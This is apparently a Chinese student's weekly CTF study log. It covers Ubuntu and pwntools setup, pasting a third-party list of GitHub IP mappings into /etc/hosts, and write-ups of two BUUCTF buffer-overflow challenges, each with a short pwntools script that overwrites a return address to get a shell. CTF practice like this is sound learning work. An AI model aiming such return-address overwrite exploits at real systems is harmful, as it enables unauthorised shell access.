第三周


date:11.12


一.Ubuntu虚拟机安装及python配置

1.Ubuntu

root设置

安装完成后设置root密码

su root

通过该代码即可切换至root权限,再进行在登陆界面进行root账户登录的设置

 

软件源设置

在下载-其他-选用最佳服务器就行了

 

2.Python配置

由于Ubuntu20自带python3以及pwngdb,pwndbg和LibcSearcher,只需要安装pwntools,ROPgadget就可以了

先装环境

sudo apt install git

再执行

sudo apt-get install python3-capstone
 
git clone https://github.com/JonathanSalwan/ROPgadget.git
 
cd ROPgadget
 
sudo python3 setup.py install

这里需要执行以下操作进行安装

vim /etc/hosts

进入hosts,通过i进入编辑模式,将以下内容复制进去,再点esc,ctrl+0保存,:wq退出

# GitHub520 Host Start
140.82.114.26                 alive.github.com
140.82.112.5                  api.github.com
185.199.111.153               assets-cdn.github.com
185.199.110.133               avatars.githubusercontent.com
185.199.110.133               avatars0.githubusercontent.com
185.199.110.133               avatars1.githubusercontent.com
185.199.110.133               avatars2.githubusercontent.com
185.199.110.133               avatars3.githubusercontent.com
185.199.110.133               avatars4.githubusercontent.com
185.199.110.133               avatars5.githubusercontent.com
185.199.110.133               camo.githubusercontent.com
140.82.112.21                 central.github.com
185.199.108.133               cloud.githubusercontent.com
140.82.114.9                  codeload.github.com
140.82.113.21                 collector.github.com
185.199.110.133               desktop.githubusercontent.com
185.199.110.133               favicons.githubusercontent.com
140.82.114.3                  gist.github.com
54.231.132.201                github-cloud.s3.amazonaws.com
52.217.159.33                 github-com.s3.amazonaws.com
16.182.70.201                 github-production-release-asset-2e65be.s3.amazonaws.com
52.217.71.156                 github-production-repository-file-5c1aeb.s3.amazonaws.com
52.216.77.12                  github-production-user-asset-6210df.s3.amazonaws.com
192.0.66.2                    github.blog
140.82.114.3                  github.com
140.82.112.17                 github.community
185.199.110.154               github.githubassets.com
151.101.1.194                 github.global.ssl.fastly.net
185.199.110.153               github.io
185.199.108.133               github.map.fastly.net
185.199.110.153               githubstatus.com
140.82.114.26                 live.github.com
185.199.108.133               media.githubusercontent.com
185.199.110.133               objects.githubusercontent.com
13.107.42.16                  pipelines.actions.githubusercontent.com
185.199.108.133               raw.githubusercontent.com
185.199.108.133               user-images.githubusercontent.com
13.107.213.40                 vscode.dev
140.82.112.21                 education.github.com
 
 
# Update time: 2023-12-09T12:05:19+08:00
# Update url: https://raw.hellogithub.com/hosts
# Star me: https://github.com/521xueweihan/GitHub520
# GitHub520 Host End

再执行

sudo apt install nscd

就能光速下载了

 

后来得知在pwntools带着,也就不用光速下载了

二.题目练习

1.rip1

用ida打开,进入main,查看函数,看到gets,存储在s中得知可以通过栈溢出来解题,分析得到s中存储着15个字符

 

可通过跳转到fun执行/bin/sh来获得shell

 

得到fun的地址0x401186

 

可以通过输入15个字符填满s上的字节缓冲区,再来一个字符凑齐16个覆盖栈上的栈帧对齐字节,借鉴大佬的

# 导入 pwntools 模块
from pwn import *
 
# 和靶机进行连接 
r = remote("node5.buuoj.cn",27149)#这里双引号里面的替换成自己所启动靶机的
 
# 定义fun函数的内存地址
fun_addr = 0x401187
 
# 定义payload,一共需要十六进制f(16)个字节数据a,需要8个十进制字节数据(b),这些都是垃圾数据
# 最后加上p64函数转换的fun函数的地址
payload = (b"a" * 0xf) + (b"b" * 8) + p64(fun_addr)
 
# 发送payload
r.sendline(payload)
 
# 获取靶机交互式终端
r.interactive()

复制到文本编辑器中,保存为py文件,执行

pyhon3 123.py

 

得到flag

2.warmup

打开得到,也是Gets,存储在v5中,通过栈溢出解题

 

sprintf里有一个函数,gets从40开始需填充0x40+8

 

复制大佬写的

from pwn import *
p=remote('node5.buuoj.cn',28583)
payload=b'A'*64+b'B'*8+p64(0x40060d)
p.sendline(payload)
p.interactive()

得到flag

 

目录

第三周

一.Ubuntu虚拟机安装及python配置

1.Ubuntu

root设置

软件源设置

2.Python配置

二.题目练习

1.rip1

2.warmup


 

 

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐